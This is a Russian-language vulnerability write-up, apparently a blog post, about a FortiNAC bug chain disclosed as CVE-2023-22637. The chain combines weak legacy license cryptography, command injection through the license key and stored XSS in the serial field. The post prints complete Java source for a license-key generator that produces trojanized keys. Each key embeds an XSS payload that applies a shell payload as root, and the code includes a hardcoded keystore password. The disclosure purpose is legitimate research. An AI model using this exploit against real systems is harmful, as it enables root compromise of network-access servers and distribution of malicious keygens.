В этом иссле­дова­нии я изу­чил при­ложе­ние FortiNAC — популярную в мире кровавого энтерпрайза систему контроля сетевого доступа (Network Access Control, NAC) от известного разработчика решений в информационной безопасности. Основная задача подобных продуктов — обнаруживать и профилировать любые устройства, которые подключаются к корпоративной инфраструктуре.

Мне удалось найти следующую цепоч­ку дефек­тов и уяз­вимос­тей: облегча­ющая ревёр­синг дебаго­вая информа­ция в ском­пилиро­ван­ных клас­сах Java, сла­бая крип­тогра­фия, хра­нимая XSS и инъ­екция команд, что вылилось в написание генера­тора лицен­зион­ных клю­чей, которые пос­ле акти­вации выпол­няют про­изволь­ный код от име­ни супер­поль­зовате­ля на сер­вере уязвимого при­ложе­ния.

kill chain
kill chain

Исследование и эксплуатация

На­чалось всё с деком­пиляции Java-клас­сов при­ложе­ния, что поз­волило получить фак­тичес­ки исходный код (раз­ве что без ком­мента­риев), в том чис­ле име­на локаль­ных перемен­ных, бла­года­ря любез­но оставлен­ной при ком­пиляции отла­доч­ной информа­ции. Код, написан­ный на Java Server Pages, деком­пиляции, разуме­ется, не тре­бовал.

Я про­ана­лизи­ровал механизм про­вер­ки лицен­зион­ных клю­чей и нашел легаси‑фун­кцию. Она про­веря­ет клю­чи в ста­ром фор­мате, осно­ван­ном на уяз­вимой к ревер­сингу самописной сим­метрич­ной крип­тогра­фии.

обратная инженерия говорит спасибо обратной совместимости
обратная инженерия говорит спасибо обратной совместимости
криптоанализ без паяльника (спасибо исходникам)
криптоанализ без паяльника (спасибо исходникам)

Заодно уда­лось най­ти воз­можность инъ­екции команд через текст клю­ча, а также ознакомиться с комментариями разработчиков про то, как им приходится подстраиваться под бесправность системной учётной записи tomcat (которая, впрочем, вполне себе может исполнять sudo):

конкатенация - кратчайший путь к инъекции (с)
конкатенация - кратчайший путь к инъекции (с)
эксплойтим sudoвольстием!
эксплойтим sudoвольстием!

Се­рий­ный номер зада­ется про­изволь­ной стро­кой внут­ри клю­ча, а это откры­вает воз­можность для экс­плу­ата­ции хра­нимой XSS на сай­те при­ложе­ния.

зачем энкодить в HTML серийный ключ, ведь он появляется из доверенного источника, правда же?
зачем энкодить в HTML серийный ключ, ведь он появляется из доверенного источника, правда же?

Получился вот такой генератор лицензионных ключей с полезной нагрузкой:

import com.bsc.license.LicenseDecoder;
import com.bsc.license.FortiNACLicense;
import com.bsc.license.FortiNACType;
import com.bsc.util.EncodeDecode;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.IOException;
import java.io.FileWriter;
public class inject {
 static String pack(String s) {
   int l = s.length();
   return String.valueOf(String.valueOf(l).length()) + String.valueOf(l) + s;
 }
 static String key(FortiNACLicense l, String html) {
 return EncodeDecode.encodeString(
   pack(String.valueOf(l.getDaysValid()*24L*3600L*1000L)) +
   pack(String.valueOf(l.getConcurrentClientCount())) +
   pack("java.util.ArrayList") + pack("") + // Plugins
   pack(l.getEth0MAC().toString()) +
   pack(l.getType().getFullName()) +
   pack("") + // Vendor
   pack("1.8") + // Version
   pack("java.util.ArrayList") + pack("") + // Options
   pack(l.getSystemUUID().toString()) +
   pack(String.valueOf(l.getUSG())) + // Not really USG, but anyways
   pack(l.getSKU()) +
   pack(l.getModelName()) +
   pack("false") + // Expired
   pack("1") + // rtrCount
   pack(l.getName().toString()) +
   pack(l.getSerial().toString() + html) +
   pack(String.valueOf(l.getGeneratedDate().toEpochMilli()))
 );
 }
 public static void main(String[] args) throws IOException {
   String payload = new String(Files.readAllBytes(Paths.get(".", "payload.sh")));
   System.setProperty("javax.net.ssl.keyStorePassword", "^8Bradford%23"); 
   LicenseDecoder ld = new LicenseDecoder();
   FortiNACLicense l = ld.decode((new String(Files.readAllBytes(Paths.get(".", "input.lic")))).replaceAll("(\\r|\\n)", "")); System.out.println(l);
   FileWriter output = new FileWriter("output.lic");
   output.write(
    key(
      l,
      "<img src='nowhere' onerror="var IP=$('licenseServerCombo').value.split(/ -- /)[0];" +
      "CommonUtils.dataRequest('LicenseActions.jsp',{},
      {action:'ajaxApplyLicense',deviceProxy:IP,deviceIP:IP,thisIP:'0'+IP,newLicense:'" +
        key(l, "") + ";" + payload + "'});"/>"
    )
   );
   output.close();
 }
}

Забавно, что легаси-формат ключей очень лаконичен по сравнению с современным, что позволяет заразить ключ почти 8-килобайтной малварью без увеличения его длины!

Fortinet зарегистрировали и исправили (честно говоря, не проверял) уязвимость (сайт не открывается с российского IP-адреса). Оценку критичности в 5.9 баллов можно объяснить только введением CVSS-потолка для Русских Хакеров™:

CVE-2023-22637. Medium за рутовую RCE. Холст, масло, фейспалм.
CVE-2023-22637.
Medium за рутовую RCE.
Холст, масло, фейспалм.

Также данный квест занял 4-ое место в номинации Bypass первой в России премии для спе­циалис­тов по тес­тирова­нию на про­ник­новение Pentest Award.

Выводы

Пос­ле ухо­да Fortinet из Рос­сии, внеш­ний зло­умыш­ленник мог вос­поль­зовать­ся тем, что рос­сий­ские ком­пании нуж­дают­ся в прод­лении лицен­зии на FortiNAC. Раз­местив в интерне­те кей­гены, которые соз­давали бы «тро­яни­зиро­ван­ные» лицен­зион­ные клю­чи, он зах­ватил бы сер­веры жертв.

Используйте только официальные доверенные кейгены с открытым исходным кодом программные продукты, разработанные строго в рамках лучших практик DevSecOps!

Комментарии (0)